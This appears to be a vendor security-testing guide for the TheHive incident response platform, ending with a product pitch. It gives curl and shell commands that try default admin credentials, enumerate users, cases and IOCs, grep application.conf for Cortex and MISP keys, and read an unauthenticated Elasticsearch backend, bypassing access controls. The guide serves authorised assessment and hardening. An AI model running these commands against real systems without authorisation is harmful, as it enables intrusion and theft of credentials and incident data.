TheHive Security Testing: API Key, Case Management, Admin Credentials, and Cortex Integration

TheHive is the most widely deployed open-source Security Orchestration, Automation, and Response (SOAR) and incident response platform, used by security operations teams to manage security incidents, track IOCs, and coordinate response actions. As the incident intelligence hub, TheHive contains information that attackers actively want: current active incident cases, IOC lists that reveal what attackers are already known, affected system lists, and response action plans. Key assessment areas: TheHive ships with default credentials of admin@thehive.local / secret; API keys provide full access to all incident cases and observables; TheHive's application.conf stores the Cortex API key for automated analyzer execution; the Elasticsearch/OpenSearch backend on port 9200 may be accessible without authentication on default deployments; and the MISP integration stores threat intelligence platform credentials. This guide covers systematic TheHive security assessment.

Table of Contents

  1. Default Credentials and API Authentication
  2. Case and Observable Enumeration
  3. Application Configuration and Integration Credentials
  4. TheHive Security Hardening

Default Credentials and API Authentication

# TheHive — default credentials and API key authentication
HIVE_URL="https://thehive.example.com"

# TheHive default credentials: admin@thehive.local / secret
# Test via direct login
curl -s -X POST "${HIVE_URL}/api/login" \
  -H "Content-Type: application/json" \
  -d '{"user":"admin@thehive.local","password":"secret"}' \
  -c /tmp/hive_session 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Login status: {d.get(\"status\",\"success\")}')
    print(f'User: {d.get(\"login\")} roles={d.get(\"roles\")}')
except: print('Response:', sys.stdin.read()[:200])
" 2>/dev/null

# API key authentication (TheHive v4/v5)
HIVE_API_KEY="your-thehive-api-key"
curl -s "${HIVE_URL}/api/user/current" \
  -H "Authorization: Bearer ${HIVE_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"login\")} name={d.get(\"name\")} roles={d.get(\"roles\")}')
" 2>/dev/null

# List all users
curl -s "${HIVE_URL}/api/user?range=all" \
  -H "Authorization: Bearer ${HIVE_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
users=json.load(sys.stdin)
print(f'Users: {len(users)}')
for u in users:
    print(f'  {u.get(\"login\")} name={u.get(\"name\")} roles={u.get(\"roles\")} status={u.get(\"status\")}')
" 2>/dev/null

Case and Observable Enumeration

# TheHive case and observable access — incident intelligence extraction
HIVE_URL="https://thehive.example.com"
HIVE_API_KEY="your-thehive-api-key"

# Enumerate all incident cases — complete incident history
curl -s -X POST "${HIVE_URL}/api/v1/query?name=list-cases" \
  -H "Authorization: Bearer ${HIVE_API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"query":[{"_name":"listCase"},{"_name":"sort","_fields":[{"_createdAt":"desc"}]},{"_name":"page","from":0,"to":50}]}' \
  2>/dev/null | python3 -c "
import json,sys
cases=json.load(sys.stdin)
print(f'Incident cases: {len(cases)}')
for c in cases:
    print(f'  [{c.get(\"caseId\")}] {c.get(\"title\")} severity={c.get(\"severity\")} status={c.get(\"status\")}')
    print(f'    Created: {c.get(\"_createdAt\")} Tags: {c.get(\"tags\")}')
    print(f'    Description: {c.get(\"description\",\"\")[:100]}')
" 2>/dev/null

# Get observables (IOCs) from a specific case
CASE_ID="case-id-here"
curl -s -X POST "${HIVE_URL}/api/v1/query?name=case-observables" \
  -H "Authorization: Bearer ${HIVE_API_KEY}" \
  -H "Content-Type: application/json" \
  -d "{\"query\":[{\"_name\":\"getCase\",\"idOrName\":\"${CASE_ID}\"},{\"_name\":\"observables\"},{\"_name\":\"page\",\"from\":0,\"to\":100}]}" \
  2>/dev/null | python3 -c "
import json,sys
obs=json.load(sys.stdin)
print(f'Observables (IOCs): {len(obs)}')
for o in obs:
    print(f'  type={o.get(\"dataType\")} value={o.get(\"data\")} tlp={o.get(\"tlp\")} ioc={o.get(\"ioc\")}')
" 2>/dev/null

Application Configuration and Integration Credentials

# TheHive application.conf — Cortex, MISP, and backend credentials

cat /etc/thehive/application.conf 2>/dev/null | grep -A5 -B2 \
  -E "url|key|password|secret|cortex|misp|elasticsearch"
# Reveals:
# Cortex integration:
#   play.modules.enabled += "org.thp.thehive.connector.cortex.CortexModule"
#   cortex { ... url = "http://cortex:9001" key = "cortex-api-key" }
# MISP integration:
#   misp { ... url = "https://misp.corp.local" key = "misp-auth-key" }
# Elasticsearch backend:
#   db.janusgraph.storage.backend = elasticsearch
#   db.janusgraph.storage.hostname = ["elasticsearch"]

# Elasticsearch direct access — often unauthenticated in default TheHive setups
# TheHive's Elasticsearch backend may lack authentication
ES_URL="http://elasticsearch:9200"
curl -s "${ES_URL}/_cat/indices?v" 2>/dev/null | head -20
# If this succeeds without credentials, all TheHive data is accessible directly

# Direct Elasticsearch query for all cases (bypasses TheHive RBAC)
curl -s "${ES_URL}/the_hive_14/_search?size=10" \
  -H "Content-Type: application/json" \
  -d '{"query":{"match_all":{}}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
hits = d.get('hits',{}).get('hits',[])
total = d.get('hits',{}).get('total',{}).get('value',0)
print(f'Total TheHive documents in Elasticsearch: {total}')
for h in hits[:5]:
    src = h.get('_source',{})
    print(f'  type={src.get(\"_type\")} title={src.get(\"title\",\"\")} status={src.get(\"status\",\"\")}')
" 2>/dev/null

TheHive Security Hardening

TheHive Security Hardening Checklist:
Security TestMethodRisk
Default admin@thehive.local/secret credentialsPOST /api/login with admin@thehive.local:secret — successful login provides full SOAR admin access including all incident cases, IOC lists, response playbooks, and user managementCritical
Incident case and IOC enumerationPOST /api/v1/query with API key — returns all incident cases with titles, severity, IOCs, affected users, and investigation notes; exposes which incidents are currently being investigated and the organization's threat detection capabilityCritical
Elasticsearch unauthenticated accessGET http://elasticsearch:9200/_cat/indices — if accessible, all TheHive data is readable directly bypassing application RBAC; direct document queries return case data without TheHive authenticationCritical
Cortex API key extraction from application.confRead /etc/thehive/application.conf — cortex.key provides authenticated access to all Cortex analyzers; enables submitting arbitrary IOCs for analysis using the organization's analyzer subscriptions and credentialsHigh
MISP integration key extractionRead /etc/thehive/application.conf — misp.key provides access to the organization's MISP threat intelligence platform; enables reading all private threat intelligence feeds and creating false threat eventsHigh

Automate TheHive Security Testing

Ironimo tests TheHive deployments for default credential exploitation, API key incident case and observable enumeration, Elasticsearch unauthenticated backend access, application.conf Cortex and MISP credential extraction, case TLP/PAP policy enforcement testing, multi-organization data isolation boundary testing, and Cortex integration security assessment.

Start free scan